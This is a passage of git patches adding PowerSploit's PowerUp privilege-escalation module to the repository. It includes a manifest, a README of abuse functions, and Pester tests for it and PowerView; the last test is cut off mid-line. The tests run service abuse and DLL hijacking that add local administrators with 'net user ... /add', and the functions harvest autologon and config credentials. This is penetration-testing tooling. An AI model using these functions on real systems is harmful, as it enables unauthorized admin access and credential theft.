    " | Out-File -Append $HtmlReportFile + } + + "`n`n[*] Checking service permissions..." + $Results = Get-ServicePermission + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

    Service Permissions

    " | Out-File -Append $HtmlReportFile + } + + + # .dll hijacking + + "`n`n[*] Checking %PATH% for potentially hijackable .dll locations..." + $Results = Find-PathHijack + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

    %PATH% .dll Hijacks

    " | Out-File -Append $HtmlReportFile + } + + + # registry checks + + "`n`n[*] Checking for AlwaysInstallElevated registry key..." + if (Get-RegAlwaysInstallElevated) { + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'OutputFile' $OutputFile + $Out | Add-Member Noteproperty 'AbuseFunction' "Write-UserAddMSI" + $Results = $Out + + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

    AlwaysInstallElevated

    " | Out-File -Append $HtmlReportFile + } + } + + "`n`n[*] Checking for Autologon credentials in registry..." + $Results = Get-RegAutoLogon + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

    Registry Autologons

    " | Out-File -Append $HtmlReportFile + } + + + "`n`n[*] Checking for vulnerable registry autoruns and configs..." + $Results = Get-VulnAutoRun + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

    Registry Autoruns

    " | Out-File -Append $HtmlReportFile + } + + # other checks + + "`n`n[*] Checking for vulnerable schtask files/configs..." + $Results = Get-VulnSchTask + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

    Vulnerabl Schasks

    " | Out-File -Append $HtmlReportFile + } + + "`n`n[*] Checking for unattended install files..." + $Results = Get-UnattendedInstallFile + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

    Unattended Install Files

    " | Out-File -Append $HtmlReportFile + } + + "`n`n[*] Checking for encrypted web.config strings..." + $Results = Get-Webconfig | Where-Object {$_} + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

    Encrypted 'web.config' String

    " | Out-File -Append $HtmlReportFile + } + + "`n`n[*] Checking for encrypted application pool and virtual directory passwords..." + $Results = Get-ApplicationHost | Where-Object {$_} + $Results | Format-List + if($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

    Encrypted Application Pool Passwords

    " | Out-File -Append $HtmlReportFile + } + "`n" + + if($HTMLReport) { + "[*] Report written to '$HtmlReportFile' `n" + } +} diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 new file mode 100644 index 00000000..bca42617 --- /dev/null +++ b/Privesc/Privesc.psd1 @@ -0,0 +1,112 @@ +@{ + +# Script module or binary module file associated with this manifest. +ModuleToProcess = 'Privesc.psm1' + +# Version number of this module. +ModuleVersion = '1.0.0.0' + +# ID used to uniquely identify this module +GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56' + +# Author of this module +Author = 'Will Schroder' + +# Company or vendor of this module +CompanyName = '' + +# Copyright statement for this module +Copyright = 'BSD 3-Clause' + +# Description of the functionality provided by this module +Description = 'PowerSploit Privesc Module' + +# Minimum version of the Windows PowerShell engine required by this module +PowerShellVersion = '2.0' + +# Name of the Windows PowerShell host required by this module +# PowerShellHostName = '' + +# Minimum version of the Windows PowerShell host required by this module +# PowerShellHostVersion = '' + +# Minimum version of Microsoft .NET Framework required by this module +# DotNetFrameworkVersion = '' + +# Minimum version of the common language runtime (CLR) required by this module +# CLRVersion = '' + +# Processor architecture (None, X86, Amd64) required by this module +# ProcessorArchitecture = '' + +# Modules that must be imported into the global environment prior to importing this module +# RequiredModules = @() + +# Assemblies that must be loaded prior to importing this module +# RequiredAssemblies = @() + +# Script files (.ps1) that are run in the caller's environment prior to importing this module. +# ScriptsToProcess = @() + +# Type files (.ps1xml) to be loaded when importing this module +# TypesToProcess = @() + +# Format files (.ps1xml) to be loaded when importing this module +# FormatsToProcess = @() + +# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess +# NestedModules = @() + +# Functions to export from this module +FunctionsToExport = @( + 'Get-ServiceUnquoted', + 'Get-ServiceFilePermission', + 'Get-ServicePermission', + 'Get-ServiceDetail', + 'Invoke-ServiceAbuse', + 'Write-ServiceBinary', + 'Install-ServiceBinary', + 'Restore-ServiceBinary', + 'Find-DLLHijack', + 'Find-PathHijack', + 'Write-HijackDll', + 'Get-RegAlwaysInstallElevated', + 'Get-RegAutoLogon', + 'Get-VulnAutoRun', + 'Get-VulnSchTask', + 'Get-UnattendedInstallFile', + 'Get-Webconfig', + 'Get-ApplicationHost', + 'Write-UserAddMSI', + 'Invoke-AllChecks' +) + +# Cmdlets to export from this module +CmdletsToExport = '*' + +# Variables to export from this module +VariablesToExport = '*' + +# Aliases to export from this module +AliasesToExport = '*' + +# DSC resources to export from this module +# DscResourcesToExport = @() + +# List of all modules packaged with this module +ModuleList = @(@{ModuleName = 'Privesc'; ModuleVersion = '1.0.0.0'; GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'}) + +# List of all files packaged with this module +FileList = 'Privesc.psm1', 'PowerUp.ps1', 'README.md' + +# Private data to pass to the module specified in RootModule/ModuleToProcess +# PrivateData = '' + +# HelpInfo URI of this module +# HelpInfoURI = '' + +# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. +# DefaultCommandPrefix = '' + +} + diff --git a/Privesc/Privesc.psm1 b/Privesc/Privesc.psm1 new file mode 100644 index 00000000..81d38186 --- /dev/null +++ b/Privesc/Privesc.psm1 @@ -0,0 +1 @@ +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/Privesc/README.md b/Privesc/README.md new file mode 100644 index 00000000..bb68a436 --- /dev/null +++ b/Privesc/README.md @@ -0,0 +1,59 @@ +To install this module, drop the entire Privesc folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. + +The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" +The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" + +To use the module, type `Import-Module Privesc` + +To see the commands imported, type `Get-Command -Module Privesc` + +For help on each individual command, Get-Help is your friend. + +Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. + + +## PowerUp + +PowerUp aims to be a clearinghouse of common Windows privilege escalation +vectors that rely on misconfigurations. + +Running Invoke-AllChecks will output any identifiable vulnerabilities along +with specifications for any abuse functions. The -HTMLReport flag will also +generate a COMPUTER.username.html version of the report. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + + +### Service Enumeration: + Get-ServiceUnquoted - returns services with unquoted paths that also have a space in the name + Get-ServiceFilePermission - returns services where the current user can write to the service binary path or its config + Get-ServicePermission - returns services the current user can modify + Get-ServiceDetail - returns detailed information about a specified service + +### Service Abuse: + Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command + Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command + Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command + Restore-ServiceBinary - restores a replaced service binary with the original executable + +### DLL Hijacking: + Find-DLLHijack - finds .dll hijacking opportunities for currently running processes + Find-PathHijack - finds service %PATH% .dll hijacking opportunities + Write-HijackDll - writes out a hijackable .dll + +### Registry Checks: + Get-RegAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set + Get-RegAutoLogon - checks for Autologon credentials in the registry + Get-VulnAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns + +### Misc.: + Get-VulnSchTask - find schtasks with modifiable target files + Get-UnattendedInstallFile - finds remaining unattended installation files + Get-Webconfig - checks for any encrypted web.config strings + Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords + Write-UserAddMSI - write out a MSI installer that prompts for a user to be added + Invoke-AllChecks - runs all current escalation checks and returns a report + diff --git a/README.md b/README.md index dcbd989e..bb46a980 100644 --- a/README.md +++ b/README.md @@ -135,6 +135,14 @@ Proof of concept code that overwrites the master boot record with the Causes your machine to blue screen upon exiting PowerShell. +## Privesc + +**Tools to help with escalating privileges on a target.** + +#### `PowerUp` + +Clearing house of common privilege escalation checks, along with some weaponization vectors. + ## Recon **Tools to aid in the reconnaissance phase of a penetration test.** @@ -151,6 +159,10 @@ Returns the HTTP Status Codes and full URL for specified paths when provided wit Scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test. +#### `PowerView` + +PowerView is series of functions that performs network and Windows domain enumeration and exploitation. + ## Recon\Dictionaries **A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.** From c143dc68859a0dbee91ad61d209b4ea918ad12f8 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Thu, 3 Dec 2015 21:57:26 -0500 Subject: [PATCH 046/296] Privesc/PowerUp Pester tests --- Tests/Privesc.tests.ps1 | 485 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 485 insertions(+) create mode 100644 Tests/Privesc.tests.ps1 diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 new file mode 100644 index 00000000..d1461d56 --- /dev/null +++ b/Tests/Privesc.tests.ps1 @@ -0,0 +1,485 @@ +Set-StrictMode -Version Latest + +$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent +$ModuleRoot = Resolve-Path "$TestScriptRoot\.." + +$ModuleManifest = "$ModuleRoot\Privesc\Privesc.psd1" +Remove-Module [P]rivesc +Import-Module $ModuleManifest -Force -ErrorAction Stop + +# import PowerUp.ps1 manually so we expose the helper functions for testing +$PowerUpFile = "$ModuleRoot\Privesc\PowerUp.ps1" +Import-Module $PowerUpFile -Force -ErrorAction Stop + + + +function Get-RandomName { + $r = 1..8 | ForEach-Object{Get-Random -max 26} + return ('abcdefghijklmnopqrstuvwxyz'[$r] -join '') +} + + +######################################################## +# +# PowerUp helpers functions. +# +######################################################## + +Describe 'Get-ModifiableFile' { + + It 'Should output a file path.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + $Output = Get-ModifiableFile -Path $FilePath + $Output | Should Be $FilePath + + Remove-Item -Path $FilePath -Force + } + + It 'Should extract a modifiable file specified as an argument in a command string.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + $CmdPath = "'C:\Windows\System32\nonexistent.exe' -i '$FilePath'" + + $Output = Get-ModifiableFile -Path $FilePath + $Output | Should Be $FilePath + + Remove-Item -Path $FilePath -Force + } + + It 'Should return no results for a non-existent path.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + + $Output = Get-ModifiableFile -Path $FilePath + $Output | Should BeNullOrEmpty + } + + It 'Should accept a Path over the pipeline.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + + $Output = Get-ModifiableFile -Path $FilePath + $Output | Should BeNullOrEmpty + } +} + + +######################################################## +# +# PowerUp service enumeration functions. +# +######################################################## + +Describe 'Get-ServiceUnquoted' { + + It "Should not throw." { + {Get-ServiceUnquoted} | Should Not Throw + } + + It 'Should return service with a space in an unquoted binPath.' { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + $Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName } + sc.exe delete $ServiceName | Should Match "SUCCESS" + + $Output | Should Not BeNullOrEmpty + $Output.ServiceName | Should Be $ServiceName + $Output.Path | Should Be $ServicePath + } + + It 'Should not return services with a quoted binPath.' { + $ServiceName = Get-RandomName + $ServicePath = "'C:\Program Files\service.exe'" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + $Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName } + sc.exe delete $ServiceName | Should Match "SUCCESS" + + $Output | Should BeNullOrEmpty + } +} + + +Describe 'Get-ServiceFilePermission' { + + It 'Should not throw.' { + {Get-ServiceFilePermission} | Should Not Throw + } + + It 'Should return a service with a modifiable service binary.' { + $ServiceName = Get-RandomName + $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" + $Null | Out-File -FilePath $ServicePath -Force + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + + $Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName } + sc.exe delete $ServiceName | Should Match "SUCCESS" + Remove-Item -Path $ServicePath -Force + + $Output | Should Not BeNullOrEmpty + $Output.ServiceName | Should Be $ServiceName + $Output.Path | Should Be $ServicePath + } + + It 'Should not return a service with a non-existent service binary.' { + $ServiceName = Get-RandomName + $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + + $Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName } + sc.exe delete $ServiceName | Should Match "SUCCESS" + + $Output | Should BeNullOrEmpty + } +} + + +Describe 'Get-ServicePermission' { + + It 'Should not throw.' { + {Get-ServicePermission} | Should Not Throw + } + + It 'Should return a modifiable service.' { + $Output = Get-ServicePermission | Where-Object { $_.ServiceName -eq 'Dhcp'} + $Output | Should Not BeNullOrEmpty + } +} + + +Describe 'Get-ServiceDetail' { + + It 'Should return results for a valid service.' { + $Output = Get-ServiceDetail -ServiceName Dhcp + $Output | Should Not BeNullOrEmpty + } + + It 'Should return not results for an invalid service.' { + $Output = Get-ServiceDetail -ServiceName NonExistent123 + $Output | Should BeNullOrEmpty + } +} + + + +######################################################## +# +# PowerUp service abuse functions. +# +######################################################## + +Describe 'Invoke-ServiceAbuse' { + + BeforeEach { + $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" + $Null = sc.exe create "PowerUpService" binPath= $ServicePath + } + + AfterEach { + $Null = sc.exe delete "PowerUpService" + $Null = $(net user john /delete >$Null 2>&1) + } + + It 'Should abuse a vulnerable service to add a local administrator with default options.' { + $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" + $Output.Command | Should Match "net" + + if( -not ($(net localgroup Administrators) -match "john")) { + Throw "Local user 'john' not created." + } + } + + It 'Should accept a service name on the pipeline.' { + $Output = "PowerUpService" | Invoke-ServiceAbuse + $Output.Command | Should Match "net" + + if( -not ($(net localgroup Administrators) -match "john")) { + Throw "Local user 'john' not created." + } + } + + It 'User should not be created for a non-existent service.' { + $Output = Invoke-ServiceAbuse -ServiceName "NonExistentService456" + $Output.Command | Should Match "Not found" + + if( ($(net localgroup Administrators) -match "john")) { + Throw "Local user 'john' should not have been created for non-existent service." + } + } + + It 'Should accept custom user/password arguments.' { + $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!' + $Output.Command | Should Match "net" + + if( -not ($(net localgroup Administrators) -match "PowerUp")) { + Throw "Local user 'PowerUp' not created." + } + $Null = $(net user PowerUp /delete >$Null 2>&1) + } + + It 'Should accept a custom command.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Command "net user testing Password123! /add" + + if( -not ($(net user) -match "testing")) { + Throw "Custom command failed." + } + $Null = $(net user testing /delete >$Null 2>&1) + } +} + + +Describe 'Install-ServiceBinary' { + + BeforeEach { + $ServicePath = "$(Get-Location)\powerup.exe" + $Null | Out-File -FilePath $ServicePath -Force + $Null = sc.exe create "PowerUpService" binPath= $ServicePath + } + + AfterEach { + $Null = Invoke-ServiceStop -ServiceName PowerUpService + $Null = sc.exe delete "PowerUpService" + $Null = $(net user john /delete >$Null 2>&1) + if(Test-Path "$(Get-Location)\powerup.exe") { + Remove-Item -Path "$(Get-Location)\powerup.exe" -Force + } + if(Test-Path "$(Get-Location)\powerup.exe.bak") { + Remove-Item -Path "$(Get-Location)\powerup.exe.bak" -Force + } + } + + It 'Should abuse a vulnerable service binary to add a local administrator with default options.' { + + $Output = Install-ServiceBinary -ServiceName "PowerUpService" + $Output.Command | Should Match "net" + + $Null = Invoke-ServiceStart -ServiceName PowerUpService + Start-Sleep -Seconds 3 + if( -not ($(net localgroup Administrators) -match "john")) { + Throw "Local user 'john' not created." + } + $Null = Invoke-ServiceStop -ServiceName PowerUpService + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + + It 'Should accept a service name on the pipeline.' { + + $Output = "PowerUpService" | Install-ServiceBinary + $Output.Command | Should Match "net" + + $Null = Invoke-ServiceStart -ServiceName PowerUpService + Start-Sleep -Seconds 3 + if( -not ($(net localgroup Administrators) -match "john")) { + Throw "Local user 'john' not created." + } + $Null = Invoke-ServiceStop -ServiceName PowerUpService + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + + It 'User should not be created for a non-existent service.' { + $Output = Install-ServiceBinary -ServiceName "NonExistentService456" + $Output.Command | Should Match "Not found" + } + + It 'Should accept custom user/password arguments.' { + $Output = Install-ServiceBinary -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!' + $Output.Command | Should Match "net" + + $Null = Invoke-ServiceStart -ServiceName PowerUpService + Start-Sleep -Seconds 3 + if( -not ($(net localgroup Administrators) -match "PowerUp")) { + Throw "Local user 'PowerUp' not created." + } + $Null = $(net user PowerUp /delete >$Null 2>&1) + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + + It 'Should accept a custom command.' { + + $Output = Install-ServiceBinary -ServiceName "PowerUpService" -Command "net user testing Password123! /add" + $Output.Command | Should Match "net" + + $Null = Invoke-ServiceStart -ServiceName PowerUpService + Start-Sleep -Seconds 3 + if( -not ($(net user) -match "testing")) { + Throw "Custom command failed." + } + $Null = $(net user testing /delete >$Null 2>&1) + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } +} + + +######################################################## +# +# PowerUp .dll hijacking functions. +# +######################################################## + +Describe 'Find-DLLHijack' { + It 'Should return results.' { + $Output = Find-DLLHijack + $Output | Should Not BeNullOrEmpty + } +} + + +Describe 'Find-PathHijack' { + + It 'Should find a hijackable %PATH% folder.' { + + New-Item -Path C:\PowerUpTest\ -ItemType directory -Force + + $OldPath = $Env:PATH + $Env:PATH += ';C:\PowerUpTest\' + + $Output = Find-PathHijack | Where-Object {$_.HijackablePath -like "*PowerUpTest*"} + $Env:PATH = $OldPath + $Output.HijackablePath | Should Be 'C:\PowerUpTest\' + } +} + +# won't actually execute on Win8+ with the wlbsctrl.dll method +Describe 'Write-HijackDll' { + + It 'Should write a .dll that executes a custom command.' { + + Write-HijackDll -OutputFile "$(Get-Location)\powerup.dll" -Command "net user testing Password123! /add" + + "$(Get-Location)\powerup.dll" | Should Exist + "$(Get-Location)\debug.bat" | Should Exist + Remove-Item -Path "$(Get-Location)\powerup.dll" -Force + Remove-Item -Path "$(Get-Location)\debug.bat" -Force + } +} + + +######################################################## +# +# PowerUp registry checks. +# +######################################################## + +Describe 'Get-RegAlwaysInstallElevated' { + It 'Should not throw.' { + {Get-ServicePermission} | Should Not Throw + } +} + + +Describe 'Get-RegAutoLogon' { + It 'Should not throw.' { + {Get-ServicePermission} | Should Not Throw + } +} + + +Describe 'Get-VulnAutoRun' { + It 'Should not throw.' { + {Get-VulnAutoRun} | Should Not Throw + } + It 'Should find a vulnerable autorun.' { + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -Value "vuln.exe -i '$FilePath'" + + $Output = Get-VulnAutoRun | ?{$_.Path -like "*$FilePath*"} + + Remove-Item -Path $FilePath -Force + $Null = Remove-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp + + $Output.ModifiableFile | Should Be $FilePath + } +} + + +######################################################## +# +# PowerUp misc. checks. +# +######################################################## + +Describe 'Get-VulnSchTask' { + It 'Should not throw.' { + {Get-VulnSchTask} | Should Not Throw + } + + It 'Should find a vulnerable config file for a binary specified in a schtask.' { + + $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + $Null | Out-File -FilePath $FilePath -Force + + $Null = schtasks.exe /create /tn PowerUp /tr "vuln.exe -i '$FilePath'" /sc onstart /ru System /f + + $Output = Get-VulnSchTask | Where-Object {$_.TaskName -eq 'PowerUp'} + $Null = schtasks.exe /delete /tn PowerUp /f + Remove-Item -Path $FilePath -Force + + $Output.TaskFilePath | Should Be $FilePath + } +} + + +Describe 'Get-UnattendedInstallFile' { + It 'Should not throw.' { + {Get-UnattendedInstallFile} | Should Not Throw + } + It 'Should return a leftover autorun' { + $FilePath = Join-Path $Env:WinDir "\System32\Sysprep\unattend.xml" + + $Null | Out-File -FilePath $FilePath -Force + $Output = Get-UnattendedInstallFile + $Output | Should Not BeNullOrEmpty + + Remove-Item -Path $FilePath -Force + } +} + + +Describe 'Get-Webconfig' { + It 'Should not throw.' { + {Get-Webconfig} | Should Not Throw + } +} + + +Describe 'Get-ApplicationHost' { + It 'Should not throw.' { + {Get-ApplicationHost} | Should Not Throw + } +} + + +Describe 'Invoke-AllChecks' { + It 'Should return results to stdout.' { + $Output = Invoke-AllChecks + $Output | Should Not BeNullOrEmpty + } + It 'Should produce a HTML report with -HTMLReport.' { + $Output = Invoke-AllChecks -HTMLReport + $Output | Should Not BeNullOrEmpty + + $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html" + + $HtmlReportFile | Should Exist + Remove-Item -Path $HtmlReportFile -Force + } +} From e44df184a89c7394444336917068c2a12e18aeb6 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Thu, 3 Dec 2015 21:57:41 -0500 Subject: [PATCH 047/296] Start of Recon/PowerView Pester tests --- Tests/Recon.tests.ps1 | 676 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 676 insertions(+) create mode 100644 Tests/Recon.tests.ps1 diff --git a/Tests/Recon.tests.ps1 b/Tests/Recon.tests.ps1 new file mode 100644 index 00000000..a1d539db --- /dev/null +++ b/Tests/Recon.tests.ps1 @@ -0,0 +1,676 @@ + +$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent +$ModuleRoot = Resolve-Path "$TestScriptRoot\.." +$ModuleManifest = "$ModuleRoot\Recon\Recon.psd1" + +Remove-Module [R]econ +Import-Module $ModuleManifest -Force -ErrorAction Stop + +# import PowerView.ps1 manually so we expose the helper functions for testing +$PowerViewFile = "$ModuleRoot\Recon\PowerView.ps1" +Import-Module $PowerViewFile -Force -ErrorAction Stop + + +# Get the local IP address for later testing +$IPregex = "(?
    ((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))" +$LocalIP = (gwmi Win32_NetworkAdapterConfiguration | ? { $_.IPAddress -match $IPregex}).ipaddress[0] + + +######################################################## +# +# PowerView functions. +# +######################################################## + +Describe 'Export-PowerViewCSV' { + It 'Should Not Throw and should produce .csv output.' { + {Get-Process | Export-PowerViewCSV -OutFile process_test.csv} | Should Not Throw + '.\process_test.csv' | Should Exist + Remove-Item -Force .\process_test.csv + } +} + + +Describe 'Set-MacAttribute' { + BeforeEach { + New-Item MacAttribute.test.txt -Type file + } + AfterEach { + Remove-Item -Force MacAttribute.test.txt + } + It 'Should clone MAC attributes of existing file' { + Set-MacAttribute -FilePath MacAttribute.test.txt -All '01/01/2000 12:00 am' + $File = (Get-Item MacAttribute.test.txt) + $Date = Get-Date -Date '2000-01-01 00:00:00' + + if ($File.LastWriteTime -ne $Date) { + Throw 'File LastWriteTime does Not match' + } + elseif($File.LastAccessTime -ne $Date) { + Throw 'File LastAccessTime does Not match' + } + elseif($File.CreationTime -ne $Date) { + Throw 'File CreationTime does Not match' + } + } +} + + +Describe 'Get-IPAddress' { + $IPregex = "(?
    ((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))" + It 'Should return local IP address' { + if( $(Get-IPAddress) -notmatch $IPRegex ) { + Throw 'Invalid local IP address returned' + } + } + It 'Should accept -ComputerName argument' { + if( $(Get-IPAddress -ComputerName $env:COMPUTERNAME) -notmatch $IPRegex ) { + Throw 'Invalid -ComputerName IP address returned' + } + } +} + +Describe 'Convert-SidToName' { + It 'Should resolve built in SIDs' { + Convert-SidToName -SID 'S-1-5-32-545' | Should Be 'BUILTIN\Users' + } + It 'Should accept pipeline input' { + 'S-1-5-32-552' | Convert-SidToName | Should Be 'BUILTIN\Replicators' + } + It 'Should return a unresolvable SID' { + Convert-SidToName -SID 'S-1-5-32-1337' | Should Be 'S-1-5-32-1337' + } +} + + +Describe 'Get-Proxy' { + It 'Should Not Throw' { + {Get-Proxy} | Should Not Throw + } + It 'Should accept -ComputerName argument' { + {Get-Proxy -ComputerName $env:COMPUTERNAME} | Should Not Throw + } +} + + +Describe 'Get-PathAcl' { + It 'Should Not Throw' { + {Get-PathAcl C:\} | Should Not Throw + } + It 'Should return correct ACLs' { + $Output = Get-PathAcl -Path C:\Windows | ?{$_.IdentityReference -eq "Creator Owner"} + if(-not $Output) { + Throw "Output Not returned" + } + if($Output.FileSystemRights -ne 'GenericAll') { + Throw "Incorrect FileSystemRights returned" + } + } +} + + +Describe 'Get-NameField' { + It 'Should extract dnshostname field from custom object' { + $Object = New-Object -TypeName PSObject -Property @{'dnshostname' = 'testing1'} + if ( (Get-NameField -Object $Object) -ne 'testing1') { + Throw "'dnshostname' field Not parsed correctly" + } + } + It 'Should extract name field from custom object' { + $Object = New-Object -TypeName PSObject -Property @{'name' = 'testing2'} + if ( (Get-NameField -Object $Object) -ne 'testing2') { + Throw "'name' field Not parsed correctly" + } + } + It 'Should handle plaintext strings' { + if ( (Get-NameField -Object 'testing3') -ne 'testing3') { + Throw 'Plaintext string Not parsed correctly' + } + } + It 'Should accept pipeline input' { + $Object = New-Object -TypeName PSObject -Property @{'dnshostname' = 'testing4'} + if ( ($Object | Get-NameField) -ne 'testing4') { + Throw 'Pipeline input Not processed correctly' + } + } +} + + +Describe 'Invoke-ThreadedFunction' { + It "Should allow threaded ping" { + $Hosts = ,"localhost" * 100 + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $Hosts = Invoke-ThreadedFunction -NoImports -ComputerName $Hosts -ScriptBlock $Ping -Threads 20 + if($Hosts.length -ne 100) { + Throw 'Error in using Invoke-ThreadedFunction to ping localhost' + } + } +} + + +Describe "Get-NetLocalGroup" { + It "Should return results for local machine administrators" { + if ( (Get-NetLocalGroup | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } + It "Should return results for listing local groups" { + if ( (Get-NetLocalGroup -ListGroups | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } + # TODO: -ComputerList + It "Should accept -GroupName argument" { + {Get-NetLocalGroup -GroupName "Remote Desktop Users"} | Should Not Throw + } + It "Should accept FQDN -ComputerName argument" { + if ( (Get-NetLocalGroup -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } + It "Should accept NETBIOS -ComputerName argument" { + if ( (Get-NetLocalGroup -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } + It "Should accept IP -ComputerName argument" { + if ( (Get-NetLocalGroup -ComputerName $LocalIP | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } + It "Should accept pipeline input" { + if ( ( "$env:computername.$env:userdnsdomain" | Get-NetLocalGroup | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } +} + + +Describe "Get-NetShare" { + It "Should return results for the local host" { + if ( (Get-NetShare | Measure-Object).count -lt 1) { + Throw "Incorrect share results returned" + } + } + It "Should accept FQDN -ComputerName argument" { + if ( (Get-NetShare -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } + It "Should accept NETBIOS -ComputerName argument" { + if ( (Get-NetShare -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } + It "Should accept IP -ComputerName argument" { + if ( (Get-NetShare -ComputerName $LocalIP | Measure-Object).count -lt 1) { + Throw "Incorrect share results returned" + } + } + It "Should accept pipeline input" { + if ( ( "$env:computername.$env:userdnsdomain" | Get-NetShare | Measure-Object).count -lt 1) { + Throw "Incorrect local administrators returned" + } + } +} + + +Describe "Get-NetLoggedon" { + It "Should return results for the local host" { + if ( (Get-NetLoggedon | Measure-Object).count -lt 1) { + Throw "Incorrect loggedon results returned" + } + } + It "Should accept FQDN -ComputerName argument" { + if ( (Get-NetLoggedon -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { + Throw "Incorrect loggedon results returned" + } + } + It "Should accept NETBIOS -ComputerName argument" { + if ( (Get-NetLoggedon -ComputerName "$env:computername" | Measure-Object).count -lt 1) { + Throw "Incorrect loggedon results returned" + } + } + It "Should accept IP -ComputerName argument" { + if ( 